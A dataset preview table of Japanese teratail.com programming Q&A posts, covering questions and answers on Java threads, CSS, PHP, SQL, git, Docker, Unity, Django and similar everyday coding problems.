id stringlengths 32 32 | text stringlengths 0 895k | name stringlengths 0 33k | domain stringlengths 5 44 | bucket stringclasses 19
values | answers list |
|---|---|---|---|---|---|
994107dc6a073f74384452861ef19b47 |
### åæã»å®çŸãããããš
JavaãçšããŠãäºäººïŒhusbandãšwifeïŒã100åã®åºå
¥éãç¹°ãè¿ãããã°ã©ã ã2ã€ã®ã¹ã¬ããã䜿ã£ãŠã€ããããã®ã§ããããThread[Thread main]ãåºéorå
¥éãããŸãããããšããå®è¡è¡šç€ºã
husbandã100åå
¥éããŸããã
husbandã100ååºéããŸããã
wifeã100åå
¥éããŸããã
wifeã100ååºéããŸããã
ãšè¡šç€ºããããããªããã°ã©ã ã«ããããã«ã¯ãAccountã¯ã©ã¹ãã©ãåŠçãããããããã§ããããã
æç§æžã«æ²¿ã£ãŠãã£ãŠããŠããªããªãããããªãã®ã§ã
ãã²ãããããé¡ãããŸãã ... | ã¹ã¬ããã®äœ¿ãæ¹ã«ã€ããŠãå£åº§ã·ã¹ãã ãäœããã
========================
| teratail.com | 2020.10 | [
{
"text": "* 衚瀺 \n\ndeposit, withdrawã«UserãåŒæ°ã«å ããå
¥åºéã®éã«Userã®ååãéé¡ãšãšãã«è¡šç€ºããŸãã\n* åæ \n\nè€æ°ã®ã¹ã¬ããã§å®è¡ããã®ã§balanceã®å€ã«ççŸãã§ãªããããdeposit, withdrawã¯åæããå¿
èŠããããŸããç°¡åã«è¡ãã«ã¯ãã®ïŒã€ã®ã€ã³ã¹ã¿ã³ã¹ã¡ãœãããsynchronizedã«ããã°ããã§ãã\n\n\n以äžã§ãæã¿ã®ããšã¯ã§ããŸããã»ã»ã» \n\n倫婊ãããããèªåã皌ãã åãçãã䜿ãã ããªã®ã§ã¹ã¬ããããã°ã©ãã³ã°ã®é¡æãšããŠã¯é¢çœã¿ã«æ¬ ããŸããããã§åé¡ãã倫ã¯ããŸã«å¹çŽããã劻ã¯ããåŒãåºãããªã200å... |
ceac7627cdcafdf5f27d83f96acf0d08 |
ãäžè©±ã«ãªã£ãŠãããŸããçŸåšãµã€ã補äœäžã®æ®µéã§åé¡ããã£ããã質åãããŠããã ããŸãã
ä»åãflexboxã䜿çšãããµã€ããå¶äœäœ¿çšãšèã詊è¡é¯èª€ããŠãããŸãã
[](https://teratail.storage.googleapis.com/uploads/contributed_images/952386d7afb56cd22bcafec4a0717fc8.jpeg)
ã€ã¡ãŒ... | ãããã¯èŠçŽ å
ã®ãã®ãŸããããã¯èŠçŽ å
ã®ã€ã³ã©ã€ã³èŠçŽ ãäžå€®å¯ããããæ¹æ³
=====================================
| teratail.com | 2020.34 | [
{
"text": "芪èŠçŽ ã«å¯ŸããŠä»¥äžãæå®ããã°ããããšæããŸãã \n\n\n\n```\n.foo {\n display: flex;\n flex-direction: column;\n justify-content: center;\n align-items: center;\n}\n```\n\n \n\nflex-wrap: wrap; ã flex-direction: column; \n\nalign-content: center; ã align-items: center; \n\nã«ä¿®æ£ããŸããã \n\n\nã³ã¬ã ãš<br>ãç¡ããšã瞊äžåã«ãªããŸãã \n\n\... |
61c32fb00cda1b3937c07d671deb7c6e |
ãäžè©±ã«ãªã£ãŠãããŸããibeaconã®ä¿¡å·ãAndroidã§èªèãããã®ä¿¡å·ã«å¿ããŠã¢ããªãç»é¢é·ç§»ãããããšããåŠçãããããšèããŠãããŸãã
ããããèªåã®åäžè¶³ã倧ããã®ã§ããã調ã¹ãŠããŠã€ãã€ãèšè¿°æ¹æ³ãããããŸããã
UUIDãmajorãminorãããããæå®ããå Žå
äŸãã°
```
UUIDãAAAAAAAABBBBBBBBCCCCCC
majorã01
minorã01
```
ã§ãUIIDãšãmajorãšãminorãæå®ãããã®ä¿¡å·ãåä¿¡ããæã«ç»é¢é·ç§»ãããããªäºãããããšèããŠãããŸãã
LeScanCallbackã«ãåŠçãèšè¿°ããã®ããšæããŸ... | ibeaconã®ä¿¡å·ãAndroidã§èªèããåŠçãæžãããããUUIDãmajorãªã©ã®æå®ã®ä»æ¹ãã€ãã€ãåãããªãã
=============================================================
| teratail.com | 2021.43 | [
{
"text": "kaaaãã\n \nä¿¡å·ãååŸã§ããŠãããªããããšã¯ç»é¢ãèµ·åããããã®startActivityã¡ãœãããonLeScanå
ã§å®è£
ããã°ãããšæããŸãã\n \n\n \nãŸãã¯ãèµ·åãããActivityãå¥éäœæããŸãã\n \nããã§ã¯ã\n \nã»TestActivity.javaãšããActivityãç¶æ¿ãããã®ããã\n \nã»AndroidManifest.xmlã«TestActivityãactivityãšããŠè¿œå \n \nã»uuidãmajorãminorã¯æååãšããŠååŸæžã¿\n \nã®æ³å®ã§èšè¿°ããŸãã\n \n\n \n\n```\nprivat... |
fadc315de99a93aa5b6b2c1dfcd3e384 |
æç€ºã³ãŒãã®void Draw();颿°ã§ããã³ã¡ã³ãéšã®////å
éšã®é¢æ°ã§äŸå€ãšã©ãŒãçºçããŠããŸããŸããitr->face ã®face ã«å€ãããŸãå
¥ã£ãŠããªãã®ã ãšæãã³ã³ã¹ãã©ã¯ã¿ã®foræã確èªããŸããããã£ãããšfaceã代å
¥ãããŠããŸãããã¯ãªãäŸå€ãšã©ãŒãåºãã®ã§ãããïŒåå ãããããŸãããäžçªæªããã®ã¯ft\_Load\_glyph();颿°ãªã®ã§ããåŒæ°ã確èªããŸãããæ£ãããšæããŸãã
FreeTyper:Â https://www.freetype.org/freetype2/docs/reference/ft2-base\_interface.html#ft\_load\_glyph
```... | FreeTypeã©ã€ãã©ãªãglTextureImage2Dã§ã¢ã¯ã»ã¹ãšã©ãŒã«ãªãåå ãç¥ãããã
=================================================
| teratail.com | 2021.39 | [
{
"text": "`FT_Load_Glyph`ãåŒãã æç¹ã§`fc->glyph`ã倿Žãããã®ã§ã`FT_Load_Glyph`ãšãã¯ã¹ãã£çæã¯äžç·ã«ããªããšã ãã§ãã\n\n",
"name": "",
"is_accepted": false
}
] |
1e56670b2464914cce6e19f53f0e7924 |
POSTããJSãã¡ã€ã«ãšé
åãè¿ãPHPãã¡ã€ã«ããããŸã(é
åã«ã¯ãã¡ããšå€ãå
¥ã£ãŠããŸã)
kindïŒhotelsã§æããŠããŸããã$hotelsãè¿ã£ãŠãããšäºæ³ããŠããŸãããã$picsãè¿ã£ãŠããŸãã
```
if (isset($\_POST['kind']) == 'pics') {
header('Content-Type: application/json');
echo json_encode($pics);
exit;
```
ãåé€ãããš$tagsãè¿ã£ãŠããã®ã§å
šãŠã«ãããããŠããæ°ãããŸããã©ãã«ééããããã§ããããã
```
<scrip... | Jqueryã®POSTã®æ»ãå€ãæåŸ
å€ãšç°ãªã
=======================
| teratail.com | 2019.47 | [
{
"text": "ããããå æžããªãã¡ã¬ã³ã¹ãèªã¿ãŸããããã \n\n<http://php.net/manual/ja/function.isset.php> \n\n\n[](https://teratail-v2.storage.googleapis.com/uploads/contributed_images/684c43f121920ab7827ce7168d4f7ad... |
cfaa8482f9a87ebb4d6ef20d021cc421 |
PHPãå©çšããŠã¡ãŒã«ãéããããŠè©Šè¡é¯èª€ããŠããŸãã
ãããã«æ
å ±ã¯ãããããããŸããããç¹ã«æååãã«é¢ããããšã¯ãµã€ãã«ãã£ãŠèšã£ãŠããããšãéããã©ããæ£ããã®ãå°æããŠããç¶æ³ã§ãã
衚瀺æåã«å¶éãããã®ã§åºæ¥ãã ãISO-2022-JPã䜿ããããªããšããæ°æã¡ããã
ãããããšçµã¿åããã(èªèº«ã®ç°å¢ã§ã§ãã)詊ããŠã¿ãçµæã以äžã®ããã«ãªããŸããã
åé¡ç¹çãææããã ããã°å¹žãã§ãã
ããšãäžè¬çã«ã¯ãããããšããæžãæ¹ããã©ã€ãã©ãªããã¬ãŒã ã¯ãŒã¯çãããŸãããæããŠããã ããŸãã§ããããã
ãããããé¡ãããŸãã
çåç¹â  ãUTF-8ãbase64ãšã³ã³ãŒããã§é... | PHPã§ã®æ·»ä»ã¡ãŒã«éä¿¡ïŒæååãåé¿ã«ã€ããŠ
=======================
| teratail.com | 2021.04 | [
{
"text": "è»œãæ°æã¡ã§å
šãŠã®ã¡ãŒã©ã«å¯Ÿå¿ã§ããã°ãšæã£ãŠããŸããã \n\nã©ãã100ïŒ
ã®å¯Ÿå¿ã¯ç¡çã ãšããããšã倿ããŸããã®ã§UTF-8ã¯è«ŠããŸãã \n\nç¹ã«ä»åã¯PC以å€ã§ã®åä¿¡ãæ³å®ããŠããŸããã®ã§ãã¬ã©ã±ãŒã§ã®è¡šç€ºãåªå
ããããšæããŸãã \n\nUTF-8ã衚瀺ã§ããªãæ©çš®ãæªã ååšããŠãããšããããšãåãã£ãã ãã§ãåç©«ã§ããã \n\n\n以äžã質åã«èŒããŠããUTF-8ã§ã®ã¡ãŒã«éä¿¡ã³ãŒããå°ã倿ŽããŠãèªåã®äžã§ã¯ç¢ºå®çãšããŠæ®ããŠãããŸãã \n\nâ»ãããéšåãšæ·»ä»ãã¡ã€ã«åã«mb\\_encode\\_mimeheaderã䜿ãããã«å€æŽããŸããã \n\n\nãã... |
f4373a380400565bbb55aeeb2a513163 |
YAMAHAã®ã«ãŒã¿ãŒÂ RTX-1100ã§PPPoEæ¥ç¶ãããŠèªå®
ããã€ã³ã¿ãŒãããã«ã€ãªãããšæã£ããšãããRTX-1100ããã€ã³ã¿ãŒãããã«ã¯æ¥ç¶ã§ãããã§ãããããŒã1ã«ã€ãªãã PCããã€ã³ã¿ãŒãããã«åºãããšãã§ããŸããã
ãããã€ãã¯i-revoã§ãäžåè²°ã£ãŠããåºå®IPã䜿ã£ãŠæ¥ç¶ããããšããŠããŸãã
åºæ¬çãªèšå®ã ãšã¯æãã®ã§ãããè¶³ããªãèšå®çãããŸããããæç€ºãã ããã
> show config
# RTX1100 Rev.8.03.46 (Mon Aug 28 13:00:42 2006)
# MAC Address : 00:a0:de:33:94:7... | YAMAHA RTX-1100ã䜿ã£ãŠi-revoã®åºå®IPã§PPPoEæ¥ç¶ã§ããªã
==========================================
| teratail.com | 2021.21 | [
{
"text": "\n> ip lan2 nat descriptor 1\n\nãããäžèŠã§ã¯ãªãããšæããŸãã\n \nãã£ãšèŠãã ããªã®ã§ééã£ãŠããããã¿ãŸããã \n",
"name": "",
"is_accepted": false
}
] |
ef786a348234037968ec428169cec298 |
materialize
http://materializecss.com/navbar.html#!
ãšãããã¬ãŒã ã¯ãŒã¯ã䜿ã£ãŠããããããŠã³ã®ã°ããŒãã«ã¡ãã¥ãŒãäœæãã
wideslider
http://black-flag.net/jquery/20130709-4710.html
ãšãããã®ã§ãããããŒãžã«ã¹ã©ã€ããŒãèšçœ®ããŸããã
ãšããããããããããŠã³ã¡ãã¥ãŒã衚瀺ãããŠããæã«ã¹ã©ã€ããŒãåããš
ããããããŠã³ã¡ãã¥ãŒãæ¶ããŠããŸããŸãã
ã©ãããã°ãã¹ã©ã€ããŒã®åãã«å¹²æžããã
ããããããŠã³éšåã衚瀺ããããŸãŸã«ã§ããã§ããããã
... | materializeã§äœæããããããããŠã³ã¡ãã¥ãŒãwideslider.jsã®åãããããšæ¶ãã
===================================================
| teratail.com | 2021.21 | [
{
"text": "ã³ãŒãããªãã®ã§ç¢ºèªããšããŸãããããããªæãã®ãã®ã远å ãããããŸããããŸããïŒ\n \n\n```\n.dropdown-content{ z-index:9999; }\n```\n",
"name": "",
"is_accepted": false
}
] |
271ccede1c1676fc98b42c3b024c7c70 |
ãšããPHPã®ãœãŒã¹ã³ãŒããèŠãŠãããšãé
åã®äžã«
```
($logged?$logged['id']:'0').' as logged',
```
ã
```
'(Select count(id) from finished f where f.type=1 and f.user\_id=logged and f.target\_id=books.id) as finished'
```
ãªã©ã®èšè¿°ããããŸããã
å
šäœã®ãœãŒã¹ã³ãŒããèŠãªããšäœãäœã ãã£ãŠæãã§éåžžã«çãã¥ãã質åã§ç³ãèš³ãªãã®ã§ããããã
foreachãªã©ä»¥å€ã§ã®asã¯èŠãããšããªãã®ã§å
šç¶ããããŸããã
äžå¿... | PHPã®å€§æåãšå°æåã®åºå¥ã«ã€ããŠ
==================
| teratail.com | 2020.45 | [
{
"text": "\n> \n> é
åã®äžã«ïŒäžç¥ïŒãªã©ã®èšè¿°ããããŸããã \n> \n> \n> \n\n\nããã¯ãPHPãšããŠã®ã³ãŒãã§ã¯ãªãã**ãã ã®æåå**ã§ãã\n\n",
"name": "",
"is_accepted": false
}
] |
65bfa4d94cc20e4d0d438832328f7824 |
課é¡ã§
ä»åæ©ãã§ãããšãã
äžåžãUDPéä¿¡ã®ãœãŒã¹ãäœã£ãŠããŠãããŸãã
ãã®ãœãŒã¹ã¯åä¿¡ãšéä¿¡ãåæã«è¡ã£ãŠãããã§ããããïŒ
èŠãŠããããŸãæå³ãããããŸããã§ãã
ãã 16鲿°ã«ããªãã¡ããããªãã10鲿°ã«ãªã£ãŠãããšããããŸããã
```
using System.Collections.Generic;
using UnityEngine;
using System.Net;
using System.Net.Sockets;
using System.Threading;
public class UdpSocket : MonoBehaviour
{
privat... | unityã§UDPéä¿¡ã®éä¿¡ãããã
==================
| teratail.com | 2020.16 | [
{
"text": "æå®IPãã¯ã©ã¹Dã®IPã¢ãã¬ã¹ãªã®ã§ããã«ããã£ã¹ãã§éä¿¡ããªããšã ããªã®ã§ã¯ãªãã§ããããïŒ \n\n\néä¿¡åŽ \n\n\n\n```\nIPAddress multicastIpAddress = IPAddress.Parse(\"224.0.23.0\");\nclient = new UdpClient();\nclient.JoinMulticastGroup(multicastIpAddress);\nIPEndPoint remoteEp = new IPEndPoint(multicastIpAddress , 3610);\nclient.Send(dgram, dgra... |
8fb59029ef1968413747dff4ed89c77e |
git䜿ãã ãã§æ©éããã£ãŠããŸããŸããã
ãããã調ã¹ãã®ã§ãããã©ããåœãŠã¯ãŸããããã
ã©ãªãããçµéšããããŸããããåçé ããŸããšå¹žãã§ãã
ãªãã質åãããŠé ãã«ããããè¶³ããªãæ
å ±ãªã©ããããŸããããæç€ºäžããã
### åæã»å®çŸãããããš
git pull origin master
ãªã¢ãŒããªããžããªãããã«ããã
### çºçããŠããåé¡ã»ãšã©ãŒã¡ãã»ãŒãž
[ec2-user@ip-xx-xx-xx-xxx .git]$ git pull origin master
**fatal: This operation must be run in a work tr... | git pull ã§ãfatal: This operation must be run in a work treeããšãªã
===============================================================
| teratail.com | 2020.34 | [
{
"text": "`.git`directoryã®äžã§gitã³ãã³ããå®è¡ããªãã§ãã ãã\n\n",
"name": "",
"is_accepted": true
}
] |
dfd39b7873a89d2d5e85d0e2b7eaf672 |
**å®çŸãããããšã»åé¡**
--------------
çŽ700äžä»¶ã®ã¬ã³ãŒããããŒãã«ããããåã远å ããäœæ¥ãããŠãããŸãã
å
·äœçã«NotNullå¶çŽãæã€åã5åçšè¿œå ããã®ã§ããã
åçŽã«NotNullå¶çŽã®åã远å ãããšãšã©ãŒã«ãªãã®ã§ã以äžã®æé ã§å远å ãè¡ã£ãŠããŸãã
1.NULLèš±å¯ã®åã远å
```
ALTER TABLE T_URIAGE ADD COLUMN41 VARCHAR(1) NULL;
```
2.ä»»æã®å€ãç»é²
```
UPDATE T_URIAGE SET COLUMN41 = '1';
```
3.NotNullå¶çŽãžå€æŽ
... | ããŒãã«ã«NotNULLå¶çŽã®åã远å ãããšæéããããã®çç±
===============================
| teratail.com | 2020.10 | [
{
"text": "\n> \n> åçŽã«NotNullå¶çŽã®åã远å ãããšãšã©ãŒã«ãªãã®ã§ \n> \n> \n> \n\n\nãªãã§ãããããããã©ã«ãå€(SQL Server ã¯ç©ºæåOK)ãå
¥ããŸãã \n\n\n\n```\nALTER TABLE T_URIAGE ADD COLUMN41 VARCHAR(1) NOT NULL DEFAULT ''\n```\n",
"name": "",
"is_accepted": true
}
] |
a474ad9768253a6ffe865b9a46867410 |
###  åæã»å®çŸãããããš
htmlã®formã§ïŒã€ã®radioãã¿ã³ãã2ã€ã®å€ãååŸãããã§ãã
###  該åœã®ãœãŒã¹ã³ãŒã
```
<form id="form" name="search" action="">
<div class="form-list">
<p>圢</p>
<input type="radio" id="type01" name="type" value="â¯"><label for="type01">â¯ãâ¡</label>
<input type="radio" id="type02" na... | formã®radioãã¿ã³ã§å€ã2ã€åãããšã¯ã§ããŸããïŒ
=============================
| teratail.com | 2019.43 | [
{
"text": "ããããŠã¿ãŠã¯ã©ãã§ããããïŒ \n\n\n\n```\n$(function(){\n $('[value=check]:button').on('click',function(){\n var t=$(this).closest('form').find('[name=type]:checked');\n if(t.length>0){\n console.log(JSON.parse(t.val()));\n }\n });\n});\n```\n\n\n```\n<form>\n<label><input type=\"radio\" name=\"ty... |
810821e349b9dd35fcb02e175db3b4f4 |
Linux,GNOME端æ«ã§ããRunge-Kuttaæ³ã§dy/dx=x*x+yãè§£ããŸããåæå€(x0,y0)=(1,1)èšç®ééïœ=0.1ãšããŠãçãã¯x=1.5ã®æy=2.64233ãšãªãã¯ããªã®ã§ããã
i      x         y
0Â Â Â Â 1.0Â Â Â Â Â 1.00000
1Â Â Â Â 1.1Â Â Â Â Â 1.22068
2Â Â Â Â 1.2Â Â Â Â Â 1.47764
3Â Â Â Â 1.3Â Â Â Â Â 1.77504
4Â Â Â Â 1.4Â Â Â Â Â 2.11752
5Â Â Â Â 1.5Â Â Â Â Â 2.51019
6Â Â Â Â 1.6Â Â Â Â Â 2.95869
7    1.7    ... | åžžåŸ®åæ¹çšåŒ
======
| teratail.com | 2019.43 | [
{
"text": "\n```\n#define F(x,y) (x*x+y)\n```\n\n \n\nãªã®ã§ã \n\n\n\n```\nh*F(x+h,y+k3)\n```\n\n \n\n㯠\n\n\n\n```\nh*(x+h*x+h+y+k3)\n```\n\nã«ãªããŸãã \n\n\n\n```\n#define F(x,y) ((x)*(x)+(y))\n```\n\n \n\nã«ããŸããã \n\n",
"name": "",
"is_accepted": true
}
] |
e5cfb2484bfdda5f37b96e6ced230629 |
### åæã»å®çŸãããããš
GUIã®å®è£
ããæ¬ã§äººå£ç¡èœãGUIåããããšããã®ã§ããããŸããããŸããã
åå¿è
ã§ã©ãçŽããŠãããããããªãã®ã§æããŠãã ããã
### çºçããŠããåé¡ã»ãšã©ãŒã¡ãã»ãŒãž
```
TclError: couldn't open "img1.gif": no such file or directory
```
### 該åœã®ãœãŒã¹ã³ãŒã
```
import tkinter as tk
from ptna import *
entry = None
response\_area = None
lb = None
action = None
ptna = P... | tkinterã䜿ã£ãŠã®GUIåãããã
====================
| teratail.com | 2020.34 | [
{
"text": "img1.gif ãç¡ããšããäŸå€ã§ãã \n\nãã®ãã¡ã€ã«ãã«ã¬ã³ããã£ã¬ã¯ããªã«çœ®ããŠãã ããã \n\nã«ã¬ã³ããã£ã¬ã¯ããªãã©ãã«ãªããã¯ãã¹ã¯ãªããäžã§Â os.getcwd() ãåŒã³åºããšç¢ºãããããšãã§ããŸãã \n\n\n[ãã¡ã€ã«ãšãã£ã¬ã¯ããªÂ¶](https://docs.python.org/ja/3/library/os.html?highlight=os%20getcwd#os-file-dir)\n\n",
"name": "",
"is_accepted": true
}
] |
689504fecdeb9b2ccef305aa1c589742 |
### åæã»å®çŸãããããš
PHPã§PDOã䜿ãããŒã¿ããŒã¹ãæ€çŽ¢ããæ©èœãäœæããŠããŸãã
æ€çŽ¢çµæã衚瀺ãããåŸããªã¹ãããã¯ã¹ããé
ç®ãéžã³ãäžŠã³æ¿ããããããã§ãã
### 該åœã®ãœãŒã¹ã³ãŒã
```
<?php
session\_start ();
header ( 'Expires:-1' );
header ( 'Cache-Control:' );
header ( 'Pragma:' );
// ããŒã¿ããŒã¹æ¥ç¶
include\_once 'dbconnect.php';
if (! isset ( $\_SESSION ['user'] )) {
header ( "Locati... | PHPãPDOæ€çŽ¢çµæã®äžŠã³æ¿ãã«ã€ããŠ
====================
| teratail.com | 2021.31 | [
{
"text": "詊ããããšã«æžãããŠãã \n\nã$selectããåçªã«ã§ãŠããŸããã$selectããªãããã®ãã©ã¡ãŒã¿ã§æž¡ãã° \n\nãã®æ¹éã§ããããã®ã§ã¯ïŒ \n\n\nã¡ãªã¿ã«prepareåŠçãããŠããã®ã«ãã®SQLæã«å€æ°ãçŽæ¥æžã蟌ãã®ã¯ \n\næ¬æ«è»¢åãªã®ã§ãããã»ããè¯ããšæããŸã\n\n",
"name": "",
"is_accepted": true
},
{
"text": "倿°åãã¡ãããšä»ããã»ããã€ã€ã§ããã \n\n\nã©ãã«è¿œèšããã€ãããåãããŸãããã`$sql` ã«ã¯çµæã»ãããå
¥ã£ãŠããã®ã§ãæå³ããåäœã«ãªããŸããã... |
dc5fa6a8173adda14a47eb5bf02ee6e2 |
### åæã»å®çŸãããããš
â»ããã°ã©ãã³ã°åŠç¿ãå§ããŠ3é±éçšåºŠãªã®ã§è³ªåå
容ãçãåŸãŠããªãã£ããã容赊ãã ããã
ã»node.jsã§mySQLã«æ¥ç¶ã
ã»ä»»æã®URLã«ã¢ã¯ã»ã¹ããéã«ç°ãªãããŒãã«ãè€æ°ãåäžããŒãžã«è¡šç€ºããããã
### æåã«ããæžããŠã¿ãŸãã
```
app.get('/ingredients', (req, res) => {
connection.query(
'SELECT*FROM ingredients',
(error, results) => {
if (error) throw error;
console.... | node.js MySQL --ãè€æ°ã®ããŒãã«æ
å ±ãåäžããŒãžã«è¡šç€ºãããã
=======================================
| teratail.com | 2021.43 | [
{
"text": "ã©ã¡ãããšãããšjavascriptã«ããå°ãæ
£ããã»ãããããšæããŸããç§ãå匷äžã§ãã \n\n\n\n```\napp.get('/ingredients', (req, res) => {\n connection.query(\n 'SELECT*FROM ingredients',\n (error, results) => {\n if (error) throw error;\n console.log(results);\n res.render('ingredients.ejs', {ingredients: results})... |
f0b60f88739221f5cea416c90fc302c4 |
### çºçããŠããåé¡
Admobã¡ãã£ãšãŒã·ã§ã³ã§VungleãšAppLovinã®ã€ã³ã¿ãŒã¹ãã£ã·ã£ã«åºåãUnityã«å®è£
ããŸãããAppLovinã¯äžæãåçãããã®ã§ããVungleã®æ¹ã¯åçããŸããããææããã ããã°å¹žãã§ãã
### 該åœã®ãœãŒã¹ã³ãŒã
```
using UnityEngine;
using System;
using System.Collections;
using System.Collections.Generic;
using GoogleMobileAds.Api;
using GoogleMobileAds.Api.Mediation.Vungle;
public ... | Unity:Admobã¡ãã£ãšãŒã·ã§ã³ã§Vungleã远å ãããåçãããªãã
=======================================
| teratail.com | 2019.47 | [
{
"text": "é¢ä¿ãªãããã§ãããã¹ã€ãŒãã®åŒ·å¶çµäºã¯åæåããŠããèªã¿ããããã«ããããšã§çŽããŸããã \n\n\n\n```\nMobileAds.Initialize(adUnitId);\nMobileAds.Initialize(_ =>{\n RequestInterstitial();\n});\n```\n\n \n\n2è¡ç®ã®åæåã¯åæåæ
å ±(InitializeStatus)ã¯ã©ã¹ãåŒæ°ã«ãã€ã³ãŒã«ããã¯ãå®è¡ããŸãã \n\nå
¬åŒããã¥ã¡ã³ãã§ãã¡ãã£ãšãŒã·ã§ã³ã䜿ãå Žåã¯ã³ãŒã«ããã¯ãåŸ
ã€ããšãæšå¥šãããŠããŸãã \n\n[ã¹ã¿ãŒãã¬ã€ã](https://develope... |
7acf93ab3e7cf65bcc0d49296e60a5ec |
Googleæ€çŽ¢çµæã§[ãŠã§ã]ã[ç»å]ã[ãã¥ãŒã¹]ã[åç»]ãšãã£ãèŠçŽ ã«ã¢ã¯ã»ã¹ããããã«ã
ããŒããŒãã ãã§è¡ãããã®ã§ããã
ãã®ã·ã§ãŒãã«ããããŒã£ãŠãªãã®ã§ããããã
| Googleæ€çŽ¢çµæã§[ãŠã§ã]ã[ç»å]ã[ãã¥ãŒã¹]ã[åç»]ã«ã¢ã¯ã»ã¹ããããã®ã·ã§ãŒãã«ããããŒãæ¢ããŠããŸãã
============================================================
| teratail.com | 2021.21 | [
{
"text": "ã¿ãããŒã§ã¢ã¯ã»ã¹ã§ããŸãã\n \n\n \nãã ããæŒãããšã«ããŒãžå
ã®èŠçŽ ãé çªã«ãã©ãä»çµã¿ã§ã\n \nçŽæ¥ã®ã·ã§ãŒãã«ããã§ã¯ãªãããæ±ãã®ãã®ãšã¯éããããããŸããã\n \nããŒããŒããã䜿ããªãç¶æ³ãæ³å®ããŠããã¡ããåçããŸããã\n \n \n",
"name": "",
"is_accepted": false
}
] |
8437c586a28e24ef72e8ad563dd928a5 |
CakePHP3ã§ã®è³ªåã§ãã
ç§ã®éçºç°å¢ã¯ãNetBeansãå©çšããŠãå¶äœããŠããŸããã
$\_SERVER['REQUEST\_URI'] ã§URIãååŸããŠããŸããããã®å Žåããšãã£ã¿ããã®èŠåããã
$\_SERVERã«çŽæ¥ã¢ã¯ã»ã¹ããªãã§ãã ããããããã«Â ãã£ãªã¿ãªã³ã°é¢æ°ãå©çšããæ¡ä»¶ãfilter\_input()ãis\_*()ã䜿çšããŠãã ããã®ãããªææžã衚瀺ãããŸãã
åŸã£ãŠãfilter\_input()颿°ã§
```
$uri = filter_input( INPUT_SERVER, "REQUEST\_URI" )
echo $uri;
```
ãš... | [cakePHP3] $\_SERVER['REQUEST\_URI']ã«ã€ããŠ
========================================
| teratail.com | 2020.29 | [
{
"text": "\n```\n$uri = filter_input( INPUT_SERVER, \"REQUEST\\_URI\" )\necho $uri;\n```\n\næžãããŠããéããªã®ã§ããã°ãã·ã³ã¿ãã¯ã¹ãšã©ãŒãåå ã§ãã1è¡ç®ã«Â ; ã»ãã³ãã³ããããŸããã \n\nãŸãããšã¯æããŸãããã³ãã³ãã©ã€ã³ã§å®è¡ããå ŽåãSERVER倿°ã¯å€ãè¿ããŸããã \n\n\n\n```\nvar_dump($\\_SERVER);\n\n$arr = filter_input_array(INPUT_SERVER);\nvar_dump($arr);\n```\n\nãå®è¡ããŠãå€ã確èªããŠã¯ã... |
ffc9948e659718c0ef2b9d0d4d8c710a |
äžèšã®æ§ã«RSSããæ
å ±ãååŸããŠããã®ã§ããã$contentsã®äžã®æ¥æ¬èªãäžæãjsonencodeããããæ·»ä»ãã¡ã€ã«ã®ããã«è¡šç€ºãããŠããŸããŸãã
$x["title"]çã«çŽæ¥åãæååãå
¥ãããšã¡ãããšè¡šç€ºãããŸãã
ãããããæ¹ããŸããããææé ãããšå¹žãã§ãã
äœåãããããé¡ãèŽããŸãã
require\_once './phpQuery-onefile.php';
//RSSååŸ
$rss = simplexml\_load\_file('https://www.google.co.jp/alerts/feeds/03691758709039141869/17529887448766499343'... | PHPã§æååããªã¹ãã«è¿œå ãããšäžæãjsonãšããŠåãåºãããªã
==================================
| teratail.com | 2021.31 | [
{
"text": "`mb_convert_encoding`ãäœèšãªããã«æããŸãã \n\nãŸãã`SimpleXMLElement`ãªããžã§ã¯ãã®èŠçŽ ã¯å
šãŠ`SimpleXMLElement`ãªããžã§ã¯ããªã®ã§ãé
åã«ä»£å
¥ããéã«æåååã«ãã£ã¹ãããŠããã®ãè¯ãã§ãããã \n\n\n\n```\n//RSSååŸ\n$rss = simplexml_load_file('https://www.google.co.jp/alerts/feeds/03691758709039141869/17529887448766499343', 'SimpleXMLElement', LIBXML_NOCDATA);... |
bd5ea794be28e0a3631f245d17c71469 |
docker for windows ã䜿ã£ãŠÂ Ruby on Rails ã®ããŒã«ã«ç°å¢ãæ§ç¯ããããšããŠããŸãã
docker-compose ã®Â buildÂ ãæ£åžžã«å®äºããup ããŠã¿ããšããããexited with code 7ããšè¡šç€ºãã忢ããŸããã
ãã°ã«ã¯èµ€ãæåã§`Could not find public_suffix-0.3.2 in any of the sources`ãšãã£ãã®ã§Gemfileã«`'public_suffix', '3.0.2'`ã远èšãå床build, up ããŠã¿ããšããä»åºŠã¯`Could not find addressable-2.5.2 in any of th... | docker-compose upã®éãexited with code 7ãã§åæ¢ãã
============================================
| teratail.com | 2020.10 | [
{
"text": "Ruby/Railsã«äžæ
£ãã§ããã°èªåã§GemfileãæžããŠå·®ã蟌ããã`rails new`ã§çæããæ¹ããããšæããŸãã \n\néå»ã«äœã£ãããšã®ããRailsã®Dockerfileã貌ã£ãŠãããŸãã \n\nå人çãªè¶£å³ã§debianã§ãªãalpineã€ã¡ãŒãžã§ããã»ã»ã» \n\n\n\n```\nFROM ruby:2.5-alpine\n\n# install packages\nRUN apk add -U --no-cache bash git\n\n# install imagemagick6-dev for rmagick\n# rmagickã䜿ãå Žå\n# RUN... |
12ee4e0187d2e7a54f51d84dfd0234c5 |
[ãããã®ã¯ã©ãŠãã®ãããªãã¯IP]:8000ã«ã¢ã¯ã»ã¹ãããšbootstrapãé©çšãããªããã¶ã€ã³ã厩ããWEBãµã€ãã衚瀺ãããŸãããã®çç±ãããããŸããã
https://qiita.com/melos/items/91dc3b45a589ea5a369bãã®URLãåèã«ããŠ
ãã¢ããªãäœæãã®ãšãããŸã§èšå®ããŸããã
```
ssh -i ~/.ssh/id_rsa ubuntu@ãããã®ã¯ã©ãŠãã®ãããªãã¯IP
```
ã³ãã³ãã«ã¢ã¯ã»ã¹ããŠãgit cloneã§åããããã¢ããªã±ãŒã·ã§ã³ãããŠã³ããŒãããŠããŸããã
ãããŠã
```
python manage.py ru... | [ãããã®ã¯ã©ãŠãã®ãããªãã¯IP]:8000ã«ã¢ã¯ã»ã¹ãããšbootstrapãé©çšãããŠããªã
=================================================
| teratail.com | 2021.17 | [
{
"text": "ãã©ãŠã¶ã§WEBãµã€ãã®HTMLãœãŒã¹ã衚瀺ããŠãbootstrap.min.jsã®ãã¹ãæ£ããã確èªããŠäžããã \n\nãããã®ãã¡ã€ã«ã¯ãã©ãŠã¶ããã¢ã¯ã»ã¹åºæ¥ãURLã«é
眮ããå¿
èŠããããŸãã\n\n",
"name": "",
"is_accepted": true
},
{
